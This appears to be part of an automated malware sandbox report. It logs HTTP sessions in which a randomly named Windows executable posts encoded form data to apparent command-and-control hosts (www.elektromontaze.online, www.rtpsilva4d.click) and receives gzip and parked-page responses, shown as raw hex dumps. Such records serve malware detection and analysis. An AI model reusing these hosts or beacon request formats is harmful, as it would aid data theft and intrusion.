                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:01 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Data Raw: 31 31 31 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c cb 72 e4 b6 b5 7b 7f 05 dc 53 2e 49 2e b1 5f 6a 3d a6 1f 4a 34 1a c9 49 25 37 99 8a c7 95 c4 29 d7 14 9a 44 37 29 91 04 cd 47 b7 5a 8a f3 07 f7 03 6e 79 95 a5 17 5e dd 75 b2 91 f3 5f 39 07 04 d8 e0 bb 25 cb ae 2c 82 19 49 24 70 70 70 de e7 00 64 f7 f4 e3 b7 bf bf 7c ff e7 77 57 c4 8e 3d f7 fc a3 29 fe 21 2e f5 97 b3 0e f3 3b d8 c1 a8 75 fe 11 81 36 8d 9d d8 65 e7 17 66 ec ac d8 70 34 ed a5 f7 e9 98 c7 62 4a 4c 9b 86 11 8b 67 9d 24 5e 18 67 1d 7d c8 a7 1e 9b 75 56 0e 5b 07 3c 8c 3b c4 e4 7e cc 7c 00 5d 3b 56 6c cf 2c b6 72 4c 66 88 9b 43 e2 39 be e3 25 9e 11 99 d4 65 b3 41 b7 0f 5d f4 2e df d5 21 bd 32 fe 05 0f 3d 1a 1b 16 8b 19 50 c9 7d 6d 9d 98 b9 2c b0 b9 cf 66 3e af a0 ec 96 6d d6 3c b4 22 6d 46 05 94 c5 22 33 74 82 02 6a 05 38 a7 11 23 76 c8 16 b3 8e 1d c7 41 34 ee f5 4c cb ef 52 29 b0 2e 4b 72 28 11 c6 60 5f 27 ce 6a d6 f9 93 f1 c5 85 71 c9 bd 80 c6 ce dc 65 1a f2 5f 5f cd ae ac 25 db b2 eb 3a fe 2d 09 99 3b eb 44 36 88 d2 4c 62 e2 98 48 4f [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 111d<r{S.I._j=J4I%7)D7)GZny^u_9%,I$pppd|wW=)!.;u6efp4bJLg$^g}uV[<;~|];Vl,rLfC9%eA].!2=P}m,f>m<"mF"3tj8#vA4LR).Kr(`_'jqe__%:-;D6LbHODK3<-{IEF_.`UcAMFd!s)M2(4${"uOM7K.{$~398?/Cl1j_R,'~AIOrO &iB:y!&p/0en5x} g:\]k oO^@9)z8*,qn3z"7@bkI@.o$ihgGqo98T<;^,`!K89;.8wy*>N+m'F9.D(rLV4/KK3[]%3D?%IBjYs~gDCy@;oo=~_;EZ\Xai`b.arC L$e!`6pw(,g^D+.k>!v!}#E.&i!'1$s&4\PFP8FDCCFIqL'V0" ezUU )5`h&KkAyLHb
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653476954 CEST1236INData Raw: 26 0f 29 8a b3 72 41 6f 09 80 99 38 25 04 d4 89 69 15 a9 58 2b f2 13 f3 a0 bc 5c a6 89 14 89 99 84 11 9a 56 c0 21 7c b0 b0 00 3f 16 de be 1b 91 74 bc e0 66 12 d5 01 e7 64 90 23 a2 56 3a 29 db 25 36 cb c6 a0 56 56 68 fb 93 32 9a a2 70 e6 1c 66 7a
                                                                                                                                                                                                      Data Ascii: &)rAo8%iX+\V!|?tfd#V:)%6VVh2pfz[lOA8`6@t1CEdu^csqk"*47E'E%W}&q{RP^N;PsZ>Q2UV7<WP;FVy2j!s?#9
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653489113 CEST1236INData Raw: 7d d1 49 e4 86 a3 3c 09 f0 7f a0 ae 9b 2f 75 b4 58 9d 85 9f 93 ea 42 41 cd a7 78 55 ca 11 0d c9 0c b0 28 b7 7c 75 74 d9 c7 67 a3 7a fa 28 16 f3 90 dd e4 66 b1 f2 41 e1 76 67 85 0c 0f 61 b6 b8 aa aa 93 32 33 76 7c b1 c0 dc e5 e6 6d 51 a1 b8 7c b3
                                                                                                                                                                                                      Data Ascii: }I</uXBAxU(|utgz(fAvga23v|mQ|[D1(Rt:ZmX=;!'Et8!ApO~k"d[Vf$%RWQxa55YMIkDT`ZuYq'K,"'_-Pes.~5j[J.K0#+7w'P
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653501987 CEST913INData Raw: b0 c3 4a 7c b1 d8 6d 9a f6 16 2b a4 78 7e c3 0c 50 2e c4 60 d0 75 3b 02 f9 59 b4 a6 36 4d df 77 95 02 93 af b4 16 dd 20 2e 16 16 75 4d 2b 0a 30 41 e1 c3 7f 2c 74 a2 5e 8a c9 70 31 ed 77 03 7f 29 d3 fe af 5c 66 d1 fc 7a 1f c4 27 e2 da 97 9b f6 52
                                                                                                                                                                                                      Data Ascii: J|m+x~P.`u;Y6Mw .uM+0A,t^p1w)\fz'R!=z4/]';D|*9tto[uCejYP?xo;F;<@"p$hr[j9dl\kbkT,_/B.!W5p%YS?.{C#8Z;+x"
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653512001 CEST5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      3192.168.2.66539837.9.175.163804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.458451033 CEST1827OUTPOST /t3gh/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.elektromontaze.online
                                                                                                                                                                                                      Origin: http://www.elektromontaze.online
                                                                                                                                                                                                      Referer: http://www.elektromontaze.online/t3gh/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 2b 47 72 71 44 36 73 63 53 57 59 74 33 67 37 58 75 53 56 34 75 42 43 42 5a 39 52 48 70 4e 41 4c 66 52 41 33 41 6f 47 67 57 42 32 32 45 6b 75 4d 61 50 48 33 71 4a 74 2f 6b 49 54 32 61 35 30 6c 67 45 73 61 66 64 59 43 46 2b 55 46 32 6a 48 46 71 32 64 68 57 45 55 50 62 65 36 43 33 6f 48 34 36 78 73 72 78 78 59 7a 66 43 48 35 6f 2f 37 54 32 71 77 4c 61 38 35 62 78 32 46 34 32 73 49 52 49 61 48 30 75 72 2f 48 34 61 79 45 44 47 73 6a 53 63 34 50 36 74 66 73 59 47 69 31 43 6b 54 2b 64 76 65 72 54 36 55 63 51 77 2f 64 56 57 4c 59 59 30 70 44 69 64 4c 61 45 4d 36 5a 6d 66 56 5a 6b 77 4f 6a 79 2b 4d 6e 6f 57 4d 61 45 4a 49 59 34 6a 61 65 51 35 4a 38 34 2b 4b 45 7a 35 65 68 6e 56 41 48 66 37 72 6c 51 2b 76 57 6c 74 61 58 74 67 63 54 34 62 6d 37 68 6f 39 4c 53 43 65 61 46 38 41 46 73 51 75 61 6a 4e 57 4a 74 66 74 72 73 5a 52 66 36 52 50 70 50 61 6a 79 6a 64 78 79 74 77 61 68 6a 6d 46 45 31 45 51 4f 50 4a 74 36 32 36 43 37 39 4a 49 48 38 2f 52 6a 6e 6c 35 38 73 62 59 73 47 63 6e 70 53 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=+GrqD6scSWYt3g7XuSV4uBCBZ9RHpNALfRA3AoGgWB22EkuMaPH3qJt/kIT2a50lgEsafdYCF+UF2jHFq2dhWEUPbe6C3oH46xsrxxYzfCH5o/7T2qwLa85bx2F42sIRIaH0ur/H4ayEDGsjSc4P6tfsYGi1CkT+dverT6UcQw/dVWLYY0pDidLaEM6ZmfVZkwOjy+MnoWMaEJIY4jaeQ5J84+KEz5ehnVAHf7rlQ+vWltaXtgcT4bm7ho9LSCeaF8AFsQuajNWJtftrsZRf6RPpPajyjdxytwahjmFE1EQOPJt626C79JIH8/Rjnl58sbYsGcnpSDUUqux2otn8bYTKYgEtvEfTFVB+7LuPKfeZQ30N25lcDE/pFLfOy7VWKVP0x2dlXwd7epcpNGibR303HZZUCJYpAYZmRDV9QFOVJnoeVNjFxxwe0WXRHULTYmbiko9sHfPaU97xztUAqItKz8fShkTZVvqI4UBLYBp4UITxJSm92B3FEbKuOA6z7vmEV7etYqt5SipDJN0CQc79dH52dfS1a27MQYBZ/tfu7LDoc+u+VdtlwZQGQQYbdTTbEVThFq0slUVp0IKuGlenNRsC3E08qiutN0X1UN/djWPWp/y4ERQsi1jZStjfU/prZ6TDNLlBygSWJz/eKcvLZFOz9pfH3oXXEE8aCaOaBca54UX8Y3u606NkQFmdkBryS9KJBCAsKh0Vn90k2kkG+SvTPcC2Ez+lpPJI91xlIn9GBuvLh/15US8HOM8HEmfPYLju3cXMHEk6mzjItNJGewLQFG3rld29cIuK2YWwY2bM++9aTWcmX0E+kcJIxnI53nvAR05nTpj7aa78+0ux0v4KfObOCAg/gThhJzk9WLCNVIrqL+acRUJXNbesExKyqXG1ilfZedZvNmTYJMIAPfMjmgTTFBWNjkpfJL+bGW1CQgYH7TW34HepjwrTWtQz5K/zbTbyzBC6DO4J81VgWzG0S4nXA0/O/AZnFuk [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251142025 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:04 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Data Raw: 31 31 31 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c cb 72 e4 b6 b5 7b 7f 05 dc 53 2e 49 2e b1 5f 6a 3d a6 1f 4a 34 1a c9 49 25 37 99 8a c7 95 c4 29 d7 14 9a 44 37 29 91 04 cd 47 b7 5a 8a f3 07 f7 03 6e 79 95 a5 17 5e dd 75 b2 91 f3 5f 39 07 04 d8 e0 bb 25 cb ae 2c 82 19 49 24 70 70 70 de e7 00 64 f7 f4 e3 b7 bf bf 7c ff e7 77 57 c4 8e 3d f7 fc a3 29 fe 21 2e f5 97 b3 0e f3 3b d8 c1 a8 75 fe 11 81 36 8d 9d d8 65 e7 17 66 ec ac d8 70 34 ed a5 f7 e9 98 c7 62 4a 4c 9b 86 11 8b 67 9d 24 5e 18 67 1d 7d c8 a7 1e 9b 75 56 0e 5b 07 3c 8c 3b c4 e4 7e cc 7c 00 5d 3b 56 6c cf 2c b6 72 4c 66 88 9b 43 e2 39 be e3 25 9e 11 99 d4 65 b3 41 b7 0f 5d f4 2e df d5 21 bd 32 fe 05 0f 3d 1a 1b 16 8b 19 50 c9 7d 6d 9d 98 b9 2c b0 b9 cf 66 3e af a0 ec 96 6d d6 3c b4 22 6d 46 05 94 c5 22 33 74 82 02 6a 05 38 a7 11 23 76 c8 16 b3 8e 1d c7 41 34 ee f5 4c cb ef 52 29 b0 2e 4b 72 28 11 c6 60 5f 27 ce 6a d6 f9 93 f1 c5 85 71 c9 bd 80 c6 ce dc 65 1a f2 5f 5f cd ae ac 25 db b2 eb 3a fe 2d 09 99 3b eb 44 36 88 d2 4c 62 e2 98 48 4f [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 111d<r{S.I._j=J4I%7)D7)GZny^u_9%,I$pppd|wW=)!.;u6efp4bJLg$^g}uV[<;~|];Vl,rLfC9%eA].!2=P}m,f>m<"mF"3tj8#vA4LR).Kr(`_'jqe__%:-;D6LbHODK3<-{IEF_.`UcAMFd!s)M2(4${"uOM7K.{$~398?/Cl1j_R,'~AIOrO &iB:y!&p/0en5x} g:\]k oO^@9)z8*,qn3z"7@bkI@.o$ihgGqo98T<;^,`!K89;.8wy*>N+m'F9.D(rLV4/KK3[]%3D?%IBjYs~gDCy@;oo=~_;EZ\Xai`b.arC L$e!`6pw(,g^D+.k>!v!}#E.&i!'1$s&4\PFP8FDCCFIqL'V0" ezUU )5`h&KkAyLHb
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251163006 CEST224INData Raw: 26 0f 29 8a b3 72 41 6f 09 80 99 38 25 04 d4 89 69 15 a9 58 2b f2 13 f3 a0 bc 5c a6 89 14 89 99 84 11 9a 56 c0 21 7c b0 b0 00 3f 16 de be 1b 91 74 bc e0 66 12 d5 01 e7 64 90 23 a2 56 3a 29 db 25 36 cb c6 a0 56 56 68 fb 93 32 9a a2 70 e6 1c 66 7a
                                                                                                                                                                                                      Data Ascii: &)rAo8%iX+\V!|?tfd#V:)%6VVh2pfz[lOA8`6@t1CEdu^csqk"*47E'E%W}&q{RP^N;PsZ>Q2UV7<WP;FVy2
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251176119 CEST1236INData Raw: 1d 99 6a ed c1 21 b1 87 f0 73 04 3f 23 f8 39 86 9f 13 f2 50 57 c8 e5 cb 21 1f 8b 26 77 92 46 1d dc 6f 64 5d b9 c8 a8 05 21 34 58 c3 96 d3 07 dd a3 49 de 6a d0 97 c0 52 20 64 83 77 1a 11 4a 5c e2 d0 78 7a f5 0e 36 42 e4 f3 38 4c cc 38 09 99 1c 98
                                                                                                                                                                                                      Data Ascii: j!s?#9PW!&wFod]!4XIjR dwJ\xz6B8L8=m H}lIpWM2o@U\u;$~d9LqB0-\6v,9C`5zw[+{UM08!cb2E0/Q?`|*m(L&1eJFe@-
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251271009 CEST1236INData Raw: 2b 19 d4 f9 37 e9 77 cf 1a 27 8a 88 a0 a2 81 50 a2 b2 93 f4 4e 92 ae 6a fc ea 78 51 b5 49 7c a8 17 87 42 00 bb c1 3f b0 28 e0 60 33 ab 97 db 13 fe d2 63 96 43 c9 be 7e 18 38 1a 01 33 07 da b3 fd 5c 99 a4 55 a6 05 4d 89 93 3b 45 6e 5b 84 94 87 ae
                                                                                                                                                                                                      Data Ascii: +7w'PNjxQI|B?(`3cC~83\UM;En[O+@X&yBiAJdP8'%v'Kin \Vag>wsj;Ik]PZEF,D%UV*z)@iorb-+\Yfhr"~R41
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251285076 CEST694INData Raw: 2e 7b 43 c0 23 e2 84 1a 38 5a 3b b1 8d 2b 87 98 78 22 d8 1e 08 32 2c 4e 9c 98 7c 9d 38 e6 ad 8b 2c 5b f8 6c c3 71 37 4d 58 5b 97 dd ad 0c 58 39 db 6c 43 2e a5 7c c8 97 58 7e b7 64 c5 ff b4 3a 80 e1 87 76 77 ad 04 3e 6b d2 49 0b e3 b5 fe 8d ed d9
                                                                                                                                                                                                      Data Ascii: .{C#8Z;+x"2,N|8,[lq7MX[X9lC.|X~d:vw>kIjT1f&hnO(~D 7AY]X}sO`DW<6}x0-7tE7c&}$_g[/;;Y "*4Ly#PakKv


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      4192.168.2.66539937.9.175.163804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.000240088 CEST526OUTGET /t3gh/?LvYDDv8X=zEDKAPo0fWIr7gepujFM3hONZ8pGlKAcECMHT5GhOUjPLGGHYOnRhJ5losn3B+cwv2wWXqsOX+tmwA3DpzxQYWx3a76J8a3vlVsU1Bk5RSrbmeXPlIslPPI/jBFf5PslPZrU8OU=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.elektromontaze.online
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688364983 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:06 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 76 65 32 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 1fc0<!DOCTYPE html><html lang="en"><head> <title>Active24</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0" /> <meta name="format-detection" content="telephone=no"> <meta name="keywords" content=""> <meta name="description" content=""> <base href="https://cdn.active24.eu"> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link rel="shortcut icon" type="image/x-icon" href="/logos/favicon.ico"> <style> @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Regular.otf') format("opentype"), url('https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2') format("woff2"); font-weight: 400; font-display: swap; } @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Medium.otf') format("opentype"), url('https://cdn.active24.eu/fonts [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688395977 CEST1236INData Raw: 64 69 75 6d 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70
                                                                                                                                                                                                      Data Ascii: dium.woff2') format("woff2"); font-weight: 500; font-display: swap; } @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Bold.otf') format("opentype"),
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688421965 CEST1236INData Raw: 29 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 68 74 6d 6c 2c 20 62 6f 64 79 2e 75 70 2c 20 2e 75 70 20 64 69 76 2c 20 2e 75 70 20 73 70 61 6e 2c 20 2e 75 70 20 61 70 70 6c 65 74 2c 20 2e 75 70 20 6f 62 6a 65 63 74 2c 20 2e 75 70 20 69 66 72 61 6d
                                                                                                                                                                                                      Data Ascii: ); } .up html, body.up, .up div, .up span, .up applet, .up object, .up iframe, .up a, .up img, .up select, .up input, .up option { margin: 0; padding: 0; border: 0; outline: 0; } .up html { -webkit-text-size-adjust: none; } .
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688435078 CEST1236INData Raw: 63 75 73 2d 69 6e 6e 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 30 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 23 6c 6f 67 69 6e 2d 66 6f 72 6d 20 2e 73 62 53 65 6c 65 63 74 6f 72 20 61 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 20 21 69 6d 70 6f 72 74 61
                                                                                                                                                                                                      Data Ascii: cus-inner { border: 0; } .up #login-form .sbSelector a{ color: #000 !important; } /* ~~~~~ Typography ~~~~~ */ h1, h2, h3, h4, h5, h6 {font-family: 'Active24'; font-weight: normal;font-style: normal; padding: 0; margin: 0; li
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688450098 CEST1236INData Raw: 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 37 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 3b 6c 65 74 74 65 72 2d 73 70 61
                                                                                                                                                                                                      Data Ascii: ine-height:1.17;margin-bottom: 16px;font-weight: 600;font-family: Arial;letter-spacing: 0px;} .up .imgblk .content p {color: var(--a24-black-60);font-size: 16px;text-align: center;line-height: 1.5;font-family: Arial;font-weight: 400;marg
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688472033 CEST1236INData Raw: 3a 20 76 61 72 28 2d 2d 62 67 29 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 6c 6f 67 6f 78 20 7b 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 20 6a 75 73 74 69 66 79 2d 63
                                                                                                                                                                                                      Data Ascii: : var(--bg);} .page.up .logox {display: flex; align-items: center; justify-content: flex-start; margin-bottom: 120px;} .page.up .imgblk {text-align: center;display: flex;width: 100%;} .page.up .imgblk .content {width: 50%;mar
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688488007 CEST1236INData Raw: 6f 72 3a 76 61 72 28 2d 2d 61 32 34 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 29 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 69 6d 67 62 6f 78 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b
                                                                                                                                                                                                      Data Ascii: or:var(--a24-primary-hover);} .page.up .imgblk .imgbox {margin-bottom: 50px;} .page.up form {outline: 0;float: left;-webkit-border-radius: 50px;position: relative;z-index:0;margin-top:10px;border: 1px solid var(--a24-champagn
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688502073 CEST1236INData Raw: 36 35 70 78 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 62 74 6e 5f 61 6c 6c 20 61 2e 62 74 6e 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 41 63 74 69 76 65 32 34 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 20 20
                                                                                                                                                                                                      Data Ascii: 65px;} .page.up .btn_all a.btn {font-family: 'Active24', Arial, sans-serif ;color: #3C0500;font-size: 16px;line-height:1.25;font-weight: 600; padding: 14px 26px 14px;text-align: center;display: inline-block;border-radius: 6px;p
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688518047 CEST1236INData Raw: 69 6e 3a 20 33 30 70 78 20 30 20 31 31 30 70 78 20 30 3b 7d 0a 20 20 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 63 6f 6e 74 65 6e 74 20 7b 20 77 69 64 74 68 3a 20 35 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 2e 70 61
                                                                                                                                                                                                      Data Ascii: in: 30px 0 110px 0;} .page.up .imgblk .content { width: 50%; } .page.up .imgblk .imgbox { width: 50%; } .page.up .imgblk .content h1 {font-size: 44px;} } @media (max-width: 1200px) { .page.up .imgblk
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688530922 CEST140INData Raw: 20 20 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 63 6f 6e 74 65 6e 74 20 70 20 62 72 20 7b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 7d 0a 20 20 20 20 20 20 20 20 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 69 6d 67 62 6f 78 20 7b 20 64 69 73 70 6c 61 79
                                                                                                                                                                                                      Data Ascii: .up .imgblk .content p br {display: none;} .up .imgblk .imgbox { display: none; } .up .content .bottom_blk {padding: 20px
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.693519115 CEST1236INData Raw: 30 3b 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 20 20 2e 75 70 20 2e 73 6f 63 69 61 6c 5f 62 6c 6b 20 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74
                                                                                                                                                                                                      Data Ascii: 0;flex-wrap: wrap;max-width: 100%;} .up .social_blk {justify-content: center;width: 100%;margin-bottom: 15px;} .up .content .bottom_blk .social_blk ul {justify-content: space-between;} .page.up .imgblk {flex-wrap: wrap;


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      5192.168.2.66540167.223.117.169804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.849219084 CEST775OUTPOST /zctj/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.rtpsilva4d.click
                                                                                                                                                                                                      Origin: http://www.rtpsilva4d.click
                                                                                                                                                                                                      Referer: http://www.rtpsilva4d.click/zctj/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 51 51 49 36 4b 39 38 6c 6c 31 30 4a 30 38 59 41 72 6a 2f 72 35 67 47 57 57 49 64 4f 61 65 49 52 6a 64 36 61 6e 46 4c 61 4e 48 43 49 54 6e 62 58 30 4e 32 46 51 46 76 5a 73 53 77 43 6d 6f 6a 73 52 79 6f 39 50 72 53 62 2f 61 76 4b 69 39 54 31 45 62 68 45 66 70 6d 69 7a 67 77 36 65 68 44 68 57 4f 78 38 51 6c 55 6e 52 38 4a 46 44 71 35 77 67 30 41 79 35 48 38 4b 59 33 4c 34 38 2b 6c 39 2b 32 36 59 37 72 52 47 50 2b 6b 77 54 38 2f 37 4f 32 30 6e 45 76 64 67 39 61 77 36 35 48 65 75 4b 44 6e 76 50 6a 32 56 55 5a 77 61 68 38 55 45 55 6f 61 37 68 69 73 6c 2b 61 30 36 65 34 6b 34 54 50 51 77 4c 47 58 68 6a 63 6f
